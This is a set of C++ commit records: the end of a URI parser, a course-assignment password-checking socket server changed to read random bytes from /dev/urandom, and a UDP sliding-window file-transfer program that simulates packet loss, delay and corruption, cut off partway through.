(_path.length ())\n {\n std::string::size_type slash = _path.rfind ('\/');\n if (slash != std::string::npos)\n return _path.substr (0, slash+1);\n }\n\n return \"\";\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nstd::string Uri::extension () const\n{\n if (_path.length ())\n {\n std::string::size_type dot = _path.rfind ('.');\n if (dot != std::string::npos)\n return _path.substr (dot + 1, std::string::npos);\n }\n\n return \"\";\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nbool Uri::is_directory () const\n{\n if (is_local ()) {\n return Path (this->_data).is_directory ();\n } else\n return (_path == \".\")\n || (_path == \"\")\n || (_path[_path.length()-1] == '\/');\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nbool Uri::is_local () const\n{\n if (_parsed)\n return (_protocol == \"\");\n else\n return ( (_data.find(\":\/\/\") == std::string::npos)\n && (_data.find(\":\") == std::string::npos) );\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nbool Uri::append (const std::string& path)\n{\n if (is_directory ())\n {\n this->_path += path;\n return true;\n }\n else\n return false;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nbool Uri::expand (const std::string& configPrefix )\n{\n std::string tmp;\n if (_data.length ())\n {\n \/\/ try to replace argument with uri from config\n tmp = context.config.get (configPrefix + \".\" + _data + \".uri\");\n }\n else\n {\n \/\/ get default target from config\n tmp = context.config.get (configPrefix + \".default.uri\");\n }\n\n if (tmp != \"\")\n {\n _data = tmp;\n return true;\n }\n\n return false;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nstd::string Uri::ToString ()\n{\n if (!_parsed)\n return std::string ();\n\n if (is_local ())\n return _data;\n\n std::string result;\n result = _protocol + \":\/\/\";\n\n if (_user.length () > 0) {\n \/\/ obscure password in _user\n std::string::size_type pos = _user.find (\":\");\n if (pos != std::string::npos) {\n std::string::size_type len = _user.length () - pos - 1;\n result += _user.replace (pos+1, len, len, '*') + \"@\";\n }\n else\n result += _user + \"@\";\n }\n \n result += _host;\n \n if (_port.length () > 0)\n result += + \":\" + _port;\n \n result += \"\/\" + _path;\n\n return result;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nvoid Uri::parse ()\n{\n if (_parsed)\n return;\n\n if (is_local ())\n {\n _path = _data;\n _parsed = true;\n return;\n }\n\n std::string::size_type pos;\n std::string _data = this->_data;\n std::string pathDelimiter = \"\/\";\n\n _user = \"\";\n _port = \"\";\n\n\t\/\/ skip ^.*:\/\/\n if ((pos = _data.find (\":\/\/\")) != std::string::npos)\n {\n _protocol = _data.substr(0, pos);\n _data = _data.substr (pos+3);\n \/\/ standard syntax: protocol:\/\/[user@]host.xz[:port]\/path\/to\/undo.data\n pathDelimiter = \"\/\";\n }\n else\n {\n _protocol = \"ssh\";\n \/\/ scp-like syntax: [user@]host.xz:path\/to\/undo.data\n pathDelimiter = \":\";\n }\n\n \/\/ user delimited by single quotes?\n if ( _data[0] == '\\''\n && (pos = _data.find(\"'\", 1)) != std::string::npos )\n {\n if (_data[pos+1] == '@')\n {\n \/\/ end of user name\n _user = _data.substr (1, pos-1);\n _data = _data.substr (pos+2);\n }\n else\n {\n throw std::string (format (STRING_URI_QUOTES, _data));\n }\n }\n else\n {\n \/\/ find user name\n if ((pos = _data.find (\"@\")) != std::string::npos)\n {\n _user = _data.substr (0, pos);\n _data = _data.substr (pos+1);\n }\n }\n\n \/\/ get host, port and path\n if ((pos = _data.find (pathDelimiter)) != std::string::npos)\n {\n _host = _data.substr (0, pos);\n _path = _data.substr (pos+1);\n }\n else\n {\n throw std::string (format (STRING_URI_BAD_FORMAT, _data));\n }\n\n \/\/ path is absolute for ssh:\/\/ syntax\n if ( (_protocol == \"ssh\") && (pathDelimiter == \"\/\") && (_path[0] != '~') )\n {\n _path = \"\/\" + _path;\n }\n\n \/\/ port specified?\n \/\/ remark: this find() will never be != npos for scp-like syntax\n \/\/ because we found pathDelimiter, which is \":\", before\n if ((pos = _host.find (\":\")) != std::string::npos)\n {\n _port = _host.substr (pos+1);\n _host = _host.substr (0,pos);\n }\n\n _parsed = true;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ vim: et ts=2 sw=2\n<|endoftext|>"} {"text":"<commit_before>\/********************************************************************\n * Author: Carlos Moreno\n * Created: 2015-06-04\n * \n * Description:\n * \n * This is the file used for question 2 of assignment 1. You\n * may also use it as sample \/ starting point to create the \n * server for question 1. In particular, you are allowed to \n * submit your code containing verbatim fragments from this \n * file.\n * \n * Copytight and permissions:\n * This file is for the exclusive purpose of our ECE-458 \n * assignment 2, and you are not allowed to use it for any \n * other purpose.\n * \n ********************************************************************\/\n\n#include <iostream>\n#include <sstream>\n#include <map>\n#include <algorithm>\n#include <cstdlib>\n#include <ctime>\n#include <cstring>\n#include <cerrno>\n#include<cstdlib>\nusing namespace std;\n\n#include <sys\/types.h>\n#include <sys\/socket.h>\n#include <netinet\/in.h>\n#include <arpa\/inet.h>\n#include <sys\/time.h>\n#include <wait.h>\n#include <unistd.h>\n#include \"crypto.h\"\n\nclass connection_closed {};\nclass socket_error {};\n\nvoid listen_connections (int port);\nvoid process_connection (int client_socket);\nstring read_packet (int client_socket);\n\nint main (int na, char * arg[])\n{\n listen_connections (10458);\n\n return 0;\n}\n\nvoid listen_connections (int port)\n{\n int server_socket, client_socket;\n struct sockaddr_in server_address, client_address;\n socklen_t client_len;\n\n server_socket = socket (AF_INET, SOCK_STREAM, 0);\n\n server_address.sin_family = AF_INET;\n server_address.sin_addr.s_addr = htonl(INADDR_ANY);\n server_address.sin_port = htons (port);\n\n bind (server_socket, (struct sockaddr *) &server_address, sizeof(server_address));\n\n listen (server_socket, 5);\n\n while (true)\n {\n client_len = sizeof(client_address);\n client_socket = accept (server_socket,\n (struct sockaddr *) &client_address,\n &client_len);\n\n pid_t pid = fork();\n if (pid == 0) \/\/ if we're the child process\n {\n close (server_socket); \/\/ only the parent listens for new connections\n\n if (fork() == 0) \/\/ detach grandchild process -- parent returns immediately\n {\n usleep (10000); \/\/ Allow the parent to finish, so that the grandparent\n \/\/ can continue listening for connections ASAP\n\n process_connection (client_socket);\n }\n\n return;\n }\n\n else if (pid > 0) \/\/ parent process; close the socket and continue\n {\n int status = 0;\n waitpid (pid, &status, 0);\n close (client_socket);\n }\n\n else\n {\n cerr << \"ERROR on fork()\" << endl;\n return;\n }\n }\n}\n\nvoid process_connection (int client_socket)\n{\n try\n {\n map<string,string> passwords;\n passwords[\"user1\"] = \"password1\";\n passwords[\"user2\"] = \"password2\";\n \/\/ For the real server, this will be populated with the \n \/\/ usernames and passwords from a text file.\n\n const string & username = read_packet (client_socket);\n const string & db_password = passwords[username];\n\t\tcout<<\"hi there\" <<endl;\n\t\tconst string & R = cgipp::sha256(\"start\");\n char str[17];\n static const char alphanum[] = \"0123456789abcdefghi\"\n \"pqrstuvwxyz\";\n for(int i = 0; i < 17; ++i){\n str[i] = alphanum[rand()%(sizeof(alphanum)-1)];\n }\n str[17] = 0;\n\n\t\tcout<< str<<endl;\n\t\t\n\t\tsend (client_socket, \"ok\\n\", 4, MSG_NOSIGNAL);\n\t\t\n while (true)\n {\n const string & password = read_packet (client_socket);\n if (password == db_password)\n {\n send (client_socket, \"ok\\n\", 4, MSG_NOSIGNAL);\n }\n else\n {\n send (client_socket, \"failed\\n\", 8, MSG_NOSIGNAL);\n }\n }\n\n close (client_socket);\n }\n catch (connection_closed)\n {\n }\n catch (socket_error)\n {\n cerr << \"Socket error\" << endl;\n }\n}\n\n\nstring read_packet (int client_socket)\n{\n string msg;\n\n const int size = 8192;\n char buffer[size];\n\n while (true)\n {\n int bytes_read = recv (client_socket, buffer, sizeof(buffer) - 2, 0);\n \/\/ Though extremely unlikely in our setting --- connection from \n \/\/ localhost, transmitting a small packet at a time --- this code \n \/\/ takes care of fragmentation (one packet arriving could have \n \/\/ just one fragment of the transmitted message)\n\n if (bytes_read > 0)\n {\n buffer[bytes_read] = '\\0';\n buffer[bytes_read + 1] = '\\0';\n\n const char * packet = buffer;\n while (*packet != '\\0')\n {\n msg += packet;\n packet += strlen(packet) + 1;\n\n if (msg.length() > 1 && msg[msg.length() - 1] == '\\n')\n {\n istringstream buf(msg);\n string msg_token;\n buf >> msg_token;\n return msg_token;\n }\n }\n }\n\n else if (bytes_read == 0)\n {\n close (client_socket);\n throw connection_closed();\n }\n\n else\n {\n cerr << \"Error \" << errno << endl;\n throw socket_error();\n }\n }\n\n throw connection_closed();\n}\n<commit_msg>read from urandom and convert to hex<commit_after>\/********************************************************************\n * Author: Carlos Moreno\n * Created: 2015-06-04\n * \n * Description:\n * \n * This is the file used for question 2 of assignment 1. You\n * may also use it as sample \/ starting point to create the \n * server for question 1. In particular, you are allowed to \n * submit your code containing verbatim fragments from this \n * file.\n * \n * Copytight and permissions:\n * This file is for the exclusive purpose of our ECE-458 \n * assignment 2, and you are not allowed to use it for any \n * other purpose.\n * \n ********************************************************************\/\n\n#include <iostream>\n#include <sstream>\n#include <map>\n#include <algorithm>\n#include <cstdlib>\n#include <ctime>\n#include <cstring>\n#include <cerrno>\n\n#include<cstdlib>\n#include <fstream> \n#include <unistd.h>\n#include <fcntl.h>\n#include <stdio.h>\n#include <stdlib.h>\nusing namespace std;\n\n#include <sys\/types.h>\n#include <sys\/socket.h>\n#include <netinet\/in.h>\n#include <arpa\/inet.h>\n#include <sys\/time.h>\n#include <wait.h>\n#include <unistd.h>\n#include \"crypto.h\"\n\nclass connection_closed {};\nclass socket_error {};\n\nvoid listen_connections (int port);\nvoid process_connection (int client_socket);\nstring read_packet (int client_socket);\n\nint main (int na, char * arg[])\n{\n listen_connections (10458);\n\n return 0;\n}\n\nvoid listen_connections (int port)\n{\n int server_socket, client_socket;\n struct sockaddr_in server_address, client_address;\n socklen_t client_len;\n\n server_socket = socket (AF_INET, SOCK_STREAM, 0);\n\n server_address.sin_family = AF_INET;\n server_address.sin_addr.s_addr = htonl(INADDR_ANY);\n server_address.sin_port = htons (port);\n\n bind (server_socket, (struct sockaddr *) &server_address, sizeof(server_address));\n\n listen (server_socket, 5);\n\n while (true)\n {\n client_len = sizeof(client_address);\n client_socket = accept (server_socket,\n (struct sockaddr *) &client_address,\n &client_len);\n\n pid_t pid = fork();\n if (pid == 0) \/\/ if we're the child process\n {\n close (server_socket); \/\/ only the parent listens for new connections\n\n if (fork() == 0) \/\/ detach grandchild process -- parent returns immediately\n {\n usleep (10000); \/\/ Allow the parent to finish, so that the grandparent\n \/\/ can continue listening for connections ASAP\n\n process_connection (client_socket);\n }\n\n return;\n }\n\n else if (pid > 0) \/\/ parent process; close the socket and continue\n {\n int status = 0;\n waitpid (pid, &status, 0);\n close (client_socket);\n }\n\n else\n {\n cerr << \"ERROR on fork()\" << endl;\n return;\n }\n }\n}\n\nvoid process_connection (int client_socket)\n{\n try\n {\n map<string,string> passwords;\n passwords[\"user1\"] = \"password1\";\n passwords[\"user2\"] = \"password2\";\n \/\/ For the real server, this will be populated with the \n \/\/ usernames and passwords from a text file.\n\n const string & username = read_packet (client_socket);\n const string & db_password = passwords[username];\n\t\t\n\t\tconst string & R = cgipp::sha256(\"start\");\n\t\tcout<<R <<endl;\n char str[17];\n static const char alphanum[] = \"0123456789abcdef\";\n \/*\n for(int i = 0; i < 17; ++i){\n str[i] = alphanum[rand()%(sizeof(alphanum)-1)];\n }\n\t\t*\/\n\t\tFILE *fin;\n\t\tif ((fin = fopen(\"\/dev\/urandom\", \"r\")) == NULL) {\n fprintf(stderr, \"%s: unable to open file\\n\", \"\/dev\/urandom\");\n return;\n }\n int len = 16;\n unsigned char buffer[len];\n char hexbuf[len*2+1];\n if(fread(buffer, 1, sizeof(buffer), fin) == sizeof(buffer)){\n \t\n \thexbuf[len*2+1] = 0;\n \tfor (int i = 0; i < sizeof(buffer); i++)\n\t\t\t{\n\t\t\t\tsprintf(&hexbuf[2 * i], \"%02x\", buffer[i]);\n\t\t\t}\n }\n fclose(fin);\n cout<<\"hex: \" <<hexbuf<<endl;\n\t\t\n\t\tsend (client_socket, \"ok\\n\", 4, MSG_NOSIGNAL);\n\t\t\n while (true)\n {\n const string & password = read_packet (client_socket);\n if (password == db_password)\n {\n send (client_socket, \"ok\\n\", 4, MSG_NOSIGNAL);\n }\n else\n {\n send (client_socket, \"failed\\n\", 8, MSG_NOSIGNAL);\n }\n }\n\n close (client_socket);\n }\n catch (connection_closed)\n {\n }\n catch (socket_error)\n {\n cerr << \"Socket error\" << endl;\n }\n}\n\n\nstring read_packet (int client_socket)\n{\n string msg;\n\n const int size = 8192;\n char buffer[size];\n\n while (true)\n {\n int bytes_read = recv (client_socket, buffer, sizeof(buffer) - 2, 0);\n \/\/ Though extremely unlikely in our setting --- connection from \n \/\/ localhost, transmitting a small packet at a time --- this code \n \/\/ takes care of fragmentation (one packet arriving could have \n \/\/ just one fragment of the transmitted message)\n\n if (bytes_read > 0)\n {\n buffer[bytes_read] = '\\0';\n buffer[bytes_read + 1] = '\\0';\n\n const char * packet = buffer;\n while (*packet != '\\0')\n {\n msg += packet;\n packet += strlen(packet) + 1;\n\n if (msg.length() > 1 && msg[msg.length() - 1] == '\\n')\n {\n istringstream buf(msg);\n string msg_token;\n buf >> msg_token;\n return msg_token;\n }\n }\n }\n\n else if (bytes_read == 0)\n {\n close (client_socket);\n throw connection_closed();\n }\n\n else\n {\n cerr << \"Error \" << errno << endl;\n throw socket_error();\n }\n }\n\n throw connection_closed();\n}\n<|endoftext|>"} {"text":"<commit_before>#include <sys\/socket.h>\n#include <netinet\/in.h>\n#include <arpa\/inet.h>\n#include <unistd.h>\n#include <sys\/time.h>\n#include <string.h>\n#include <iostream>\n#include <fstream>\n#include <boost\/lexical_cast.hpp>\n#include \"packet.h\"\n\n#define USAGE \"Usage:\\r\\nc \\r\\n[tux machine number] \\r\\n[probability of packet corruption in int form] \\r\\n[probability of packet loss in int form] \\r\\n[probability of packet delay] \\r\\n[length of delay in ms] \\r\\n\"\n#define PORT 10038\n#define PAKSIZE 129\n#define ACK 0\n#define NAK 1\n#define BUFSIZE 122\n#define FILENAME \"Testfile\"\n#define TIMEOUT 100 \/\/in ms\n#define WIN_SIZE 16\n\nusing namespace std;\n\nbool isvpack(unsigned char * p);\nbool init(int argc, char** argv);\nbool loadFile();\nbool getFile();\nbool sendFile();\nbool isAck();\nvoid handleAck();\nvoid handleNak(int& x);\nbool* gremlin(Packet * pack, int corruptProb, int lossProb, int delayProb);\nPacket createPacket(int index);\nvoid loadWindow();\nbool sendPacket();\nbool getGet();\n\nstruct sockaddr_in a;\nstruct sockaddr_in ca;\nsocklen_t calen;\nint rlen;\nint s;\nbool ack;\nstring fstr;\nchar * file;\nint probCorrupt;\nint probLoss;\nint probDelay;\nint delayT;\nPacket p;\nPacket window[16];\nint length;\nbool dropPck;\nbool delayPck;\nint toms;\nunsigned char b[BUFSIZE];\nint base;\n\nint main(int argc, char** argv) {\n \n if(!init(argc, argv)) return -1;\n \n sendFile();\n \n return 0;\n}\n\nbool init(int argc, char** argv){\n\n if(argc != 6) { \n cout << USAGE << endl;\n return false;\n }\n\n char * probCorruptStr = argv[2];\n probCorrupt = boost::lexical_cast<int>(probCorruptStr);\n char * probLossStr = argv[3];\n probLoss = boost::lexical_cast<int>(probLossStr);\n char * probDelayStr = argv[4];\n probDelay = boost::lexical_cast<int>(probDelayStr);\n char* delayTStr = argv[5];\n delayT = boost::lexical_cast<int>(delayTStr);\n \n struct timeval timeout;\n timeout.tv_usec = TIMEOUT * 1000;\n toms = TIMEOUT;\n\n \/* Create our socket. *\/\n if ((s = socket(AF_INET, SOCK_DGRAM, 0)) < 0) {\n cout << \"Socket creation failed. (socket s)\" << endl;\n return 0;\n }\n\n setsockopt(s, SOL_SOCKET, SO_RCVTIMEO, (char*)&timeout, sizeof(timeout));\n\n \/* \n * Bind our socket to an IP (whatever the computer decides) \n * and a specified port. \n *\n *\/\n\n if (!loadFile()) {\n cout << \"Loading file failed. (filename FILENAME)\" << endl;\n return false; \n }\n \n memset((char *)&a, 0, sizeof(a));\n a.sin_family = AF_INET;\n a.sin_addr.s_addr = htonl(INADDR_ANY);\n a.sin_port = htons(PORT);\n\n if (bind(s, (struct sockaddr *)&a, sizeof(a)) < 0) {\n cout << \"Socket binding failed. (socket s, address a)\" << endl;\n return 0;\n }\n \n fstr = string(file);\n cout << \"File: \" << endl << fstr << endl;\n\n base = 0;\n dropPck = false;\n calen = sizeof(ca);\n\n getGet();\n \n return true;\n}\n\nbool getGet(){\n\tunsigned char packet[PAKSIZE + 1];\n\trlen = recvfrom(s, packet, PAKSIZE, 0, (struct sockaddr *)&ca, &calen);\n\treturn (rlen > 0) ? true : false;\n}\n\nbool isvpack(unsigned char * p) {\n cout << endl << \"=== IS VALID PACKET TESTING\" << endl;\n\n char * sns = new char[2];\n memcpy(sns, &p[0], 1);\n sns[1] = '\\0';\n\n char * css = new char[7];\n memcpy(css, &p[1], 6);\n css[6] = '\\0';\n \n char * db = new char[121 + 1];\n memcpy(db, &p[2], 121);\n db[121] = '\\0';\n\n cout << \"Seq. num: \" << sns << endl;\n cout << \"Checksum: \" << css << endl;\n cout << \"Message: \" << db << endl;\n\n int sn = boost::lexical_cast<int>(sns);\n int cs = boost::lexical_cast<int>(css);\n\n Packet pk (0, db);\n pk.setSequenceNum(sn);\n\n \/\/ change to validate based on checksum and sequence number\n\n if(sn == 0) return false; \/\/doesn't matter, only for the old version (netwark)\n if(cs != pk.generateCheckSum()) return false;\n return true;\n}\n\nbool getFile(){\n\n \/* Loop forever, waiting for messages from a client. *\/\n cout << \"Waiting on port \" << PORT << \"...\" << endl;\n\n ofstream file(\"Dumpfile\");\n\n for (;;) {\n unsigned char packet[PAKSIZE + 1];\n unsigned char dataPull[PAKSIZE - 7 + 1];\n rlen = recvfrom(s, packet, PAKSIZE, 0, (struct sockaddr *)&ca, &calen);\n\n for(int x = 0; x < PAKSIZE - 7; x++) {\n dataPull[x] = packet[x + 7];\n }\n dataPull[PAKSIZE - 7] = '\\0';\n packet[PAKSIZE] = '\\0';\n if (rlen > 0) {\n char * css = new char[6];\n memcpy(css, &packet[1], 5);\n css[5] = '\\0';\n cout << endl << endl << \"=== RECEIPT\" << endl;\n cout << \"Seq. num: \" << packet[0] << endl;\n cout << \"Checksum: \" << css << endl;\n cout << \"Received message: \" << dataPull << endl;\n cout << \"Sent response: \";\n if(isvpack(packet)) {\n ack = ACK;\n \/\/seqNum = (seqNum) ? false : true;\n file << dataPull;\n } else { \n ack = NAK;\n }\n cout << ((ack == ACK) ? \"ACK\" : \"NAK\") << endl;\n Packet p (false, reinterpret_cast<const char *>(dataPull));\n p.setCheckSum(boost::lexical_cast<int>(css));\n p.setAckNack(ack);\n\n if(sendto(s, p.str(), PAKSIZE, 0, (struct sockaddr *)&ca, calen) < 0) {\n cout << \"Acknowledgement failed. (socket s, acknowledgement message ack, client address ca, client address length calen)\" << endl;\n return 0;\n }\n delete css;\n }\n }\n file.close();\n return true;\n}\n\nbool loadFile() {\n\n ifstream is (FILENAME, ifstream::binary);\n\n if(is) {\n is.seekg(0, is.end);\n length = is.tellg();\n is.seekg(0, is.beg);\n\n file = new char[length];\n\n cout << \"Reading \" << length << \" characters...\" << endl;\n is.read(file, length);\n\n if(!is) { cout << \"File reading failed. (filename \" << FILENAME << \"). Only \" << is.gcount() << \" could be read.\"; return false; }\n is.close();\n }\n return true;\n}\n\nvoid loadWindow(){\n\tfor(int i = base; i < base + WIN_SIZE; i++) {\n\t\twindow[i-base] = createPacket(i);\n\t\tif(window[i-base].getDataBuffer().length() < BUFSIZE) { \n\t\t\tbreak;\n\t\t}\n\t}\n}\n\nbool sendFile() {\n\t\/*Currently causes the program to only send the first 16 packets of file out\n\t\trequires additional code later to sendFile again with updated window*\/\n\tbase = 0;\n\twhile(base * BUFSIZE < length) {\n\t\tloadWindow();\n\n\t\tfor(int x = 0; x < WIN_SIZE; x++) {\n\t\t\tp = window[x];\n\t\t\tif(!sendPacket()) continue;\n\t\t}\n\t\tfor(int x = 0; x < WIN_SIZE; x++) {\n\t\t\tif(recvfrom(s, b, BUFSIZE + 7, 0, (struct sockaddr *)&ca, &calen) < 0) {\n\t\t\t\tcout << \"=== ACK TIMEOUT\" << endl;\n\t\t\t\tx--;\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\tif(isAck()) { \n\t\t\t\thandleAck();\n\t\t\t} else { \n\t\t\t\thandleAck();\n\t\t\t\t\/\/handleNak(x);\n\t\t\t}\n\n\t\t\tmemset(b, 0, BUFSIZE);\n\t\t}\n\t}\n\treturn true;\n}\n\nPacket createPacket(int index){\n cout << endl;\n\tcout << \"=== PACKET CREATION TESTING\" << endl;\n\tcout << \"index: \" << index << endl;\n\tcout << \"BUFSIZE: \" << BUFSIZE << endl;\n\tcout << \"file index (index * BUFSIZE): \" << index * BUFSIZE << endl;\n\tcout << \"file length: \" << length << endl;\n\n string mstr = fstr.substr(index * BUFSIZE, BUFSIZE);\n\tif(mstr.length() < BUFSIZE) {\n mstr[length - (index * BUFSIZE)] = '\\0';\n }\n return Packet (index, mstr.c_str());\n}\n\nbool sendPacket(){\n\tcout << endl;\n cout << \"=== TRANSMISSION START\" << endl;\n int pc = probCorrupt; int pl = probLoss; int pd = probDelay;\n\tbool* pckStatus = gremlin(&p, pc, pl, pd);\n\n\tdropPck = pckStatus[0];\n\tdelayPck = pckStatus[1];\n\n\tif (dropPck == true) return false;\n\tif (delayPck == true) p.setAckNack(1);\n\n if(sendto(s, p.str(), BUFSIZE + 7, 0, (struct sockaddr *)&ca, sizeof(ca)) < 0) {\n\t\tcout << \"Package sending failed. (socket s, server address sa, message m)\" << endl;\n\t\treturn false;\n }\n return true;\n}\nbool isAck() {\n cout << endl << \"=== SERVER RESPONSE TEST\" << endl;\n cout << \"Data: \" << b << endl;\n if(b[6] == '0') return true;\n else return false;\n}\nvoid handleAck() {\n\tint ack = boost::lexical_cast<int>(b);\n\tif(base < ack) base = ack;\n\tcout << \"Window base: \" << base << endl;\n}\nvoid handleNak(int& x) {\n\n char * sns = new char[2];\n memcpy(sns, &b[0], 1);\n sns[1] = '\\0';\n\n char * css = new char[5];\n memcpy(css, &b[1], 5);\n \n char * db = new char[BUFSIZE + 1];\n memcpy(db, &b[2], BUFSIZE);\n db[BUFSIZE] = '\\0';\n\n cout << \"Sequence number: \" << sns << endl;\n cout << \"Checksum: \" << css << endl;\n\n Packet pk (0, db);\n pk.setSequenceNum(boost::lexical_cast<int>(sns));\n pk.setCheckSum(boost::lexical_cast<int>(css));\n\n if(!pk.chksm()) x--; \n else x = (x - 2 > 0) ? x - 2 : 0;\n}\nbool* gremlin(Packet * pack, int corruptProb, int lossProb, int delayProb){\n\n bool* packStatus = new bool[2];\n int r = rand() % 100;\n\n cout << \"Corruption probability: \" << corruptProb << endl;\n cout << \"Random number: \" << r << endl;\n\n packStatus[0] = false;\n packStatus[1] = false;\n\n if(r <= (lossProb)){\n\tpackStatus[0] = true;\n cout << \"Dropped!\" << endl;\n }\n else if(r <= (delayProb)){\n\t packStatus[1] = true;\n\t cout << \"Delayed!\" << endl;\n }\n else if(r <= (corruptProb)){\n cout << \"Corrupted!\" << endl;\n pack->loadDataBuffer((char*)\"GREMLIN LOL\");\n }\n cout << \"Seq. num: \" << pack->getSequenceNum() << endl;\n cout << \"Checksum: \" << pack->getCheckSum() << endl;\n cout << \"Message: \" << pack->getDataBuffer() << endl;\n\n return packStatus;\n}<commit_msg>Fix the previous commit<commit_after>#include <sys\/socket.h>\n#include <netinet\/in.h>\n#include <arpa\/inet.h>\n#include <unistd.h>\n#include <sys\/time.h>\n#include <string.h>\n#include <iostream>\n#include <fstream>\n#include <boost\/lexical_cast.hpp>\n#include \"packet.h\"\n\n#define USAGE \"Usage:\\r\\nc \\r\\n[tux machine number] \\r\\n[probability of packet corruption in int form] \\r\\n[probability of packet loss in int form] \\r\\n[probability of packet delay] \\r\\n[length of delay in ms] \\r\\n\"\n#define PORT 10038\n#define PAKSIZE 129\n#define ACK 0\n#define NAK 1\n#define BUFSIZE 122\n#define FILENAME \"Testfile\"\n#define TIMEOUT 100 \/\/in ms\n#define WIN_SIZE 16\n\nusing namespace std;\n\nbool isvpack(unsigned char * p);\nbool init(int argc, char** argv);\nbool loadFile();\nbool getFile();\nbool sendFile();\nbool isAck();\nvoid handleAck();\nvoid handleNak(int& x);\nbool* gremlin(Packet * pack, int corruptProb, int lossProb, int delayProb);\nPacket createPacket(int index);\nvoid loadWindow();\nbool sendPacket();\nbool getGet();\n\nstruct sockaddr_in a;\nstruct sockaddr_in ca;\nsocklen_t calen;\nint rlen;\nint s;\nbool ack;\nstring fstr;\nchar * file;\nint probCorrupt;\nint probLoss;\nint probDelay;\nint delayT;\nPacket p;\nPacket window[16];\nint length;\nbool dropPck;\nbool delayPck;\nint toms;\nunsigned char b[BUFSIZE];\nint base;\n\nint main(int argc, char** argv) {\n \n if(!init(argc, argv)) return -1;\n \n sendFile();\n \n return 0;\n}\n\nbool init(int argc, char** argv){\n\n if(argc != 6) { \n cout << USAGE << endl;\n return false;\n }\n\n char * probCorruptStr = argv[2];\n probCorrupt = boost::lexical_cast<int>(probCorruptStr);\n char * probLossStr = argv[3];\n probLoss = boost::lexical_cast<int>(probLossStr);\n char * probDelayStr = argv[4];\n probDelay = boost::lexical_cast<int>(probDelayStr);\n char* delayTStr = argv[5];\n delayT = boost::lexical_cast<int>(delayTStr);\n \n struct timeval timeout;\n timeout.tv_usec = TIMEOUT * 1000;\n toms = TIMEOUT;\n\n \/* Create our socket. *\/\n if ((s = socket(AF_INET, SOCK_DGRAM, 0)) < 0) {\n cout << \"Socket creation failed. (socket s)\" << endl;\n return 0;\n }\n\n setsockopt(s, SOL_SOCKET, SO_RCVTIMEO, (char*)&timeout, sizeof(timeout));\n\n \/* \n * Bind our socket to an IP (whatever the computer decides) \n * and a specified port. \n *\n *\/\n\n if (!loadFile()) {\n cout << \"Loading file failed. (filename FILENAME)\" << endl;\n return false; \n }\n \n memset((char *)&a, 0, sizeof(a));\n a.sin_family = AF_INET;\n a.sin_addr.s_addr = htonl(INADDR_ANY);\n a.sin_port = htons(PORT);\n\n if (bind(s, (struct sockaddr *)&a, sizeof(a)) < 0) {\n cout << \"Socket binding failed. (socket s, address a)\" << endl;\n return 0;\n }\n \n fstr = string(file);\n cout << \"File: \" << endl << fstr << endl;\n\n base = 0;\n dropPck = false;\n calen = sizeof(ca);\n\n getGet();\n \n return true;\n}\n\nbool getGet(){\n\tunsigned char packet[PAKSIZE + 1];\n\trlen = recvfrom(s, packet, PAKSIZE, 0, (struct sockaddr *)&ca, &calen);\n\treturn (rlen > 0) ? true : false;\n}\n\nbool isvpack(unsigned char * p) {\n cout << endl << \"=== IS VALID PACKET TESTING\" << endl;\n\n char * sns = new char[2];\n memcpy(sns, &p[0], 1);\n sns[1] = '\\0';\n\n char * css = new char[7];\n memcpy(css, &p[1], 6);\n css[6] = '\\0';\n \n char * db = new char[121 + 1];\n memcpy(db, &p[2], 121);\n db[121] = '\\0';\n\n cout << \"Seq. num: \" << sns << endl;\n cout << \"Checksum: \" << css << endl;\n cout << \"Message: \" << db << endl;\n\n int sn = boost::lexical_cast<int>(sns);\n int cs = boost::lexical_cast<int>(css);\n\n Packet pk (0, db);\n pk.setSequenceNum(sn);\n\n \/\/ change to validate based on checksum and sequence number\n\n if(sn == 0) return false; \/\/doesn't matter, only for the old version (netwark)\n if(cs != pk.generateCheckSum()) return false;\n return true;\n}\n\nbool getFile(){\n\n \/* Loop forever, waiting for 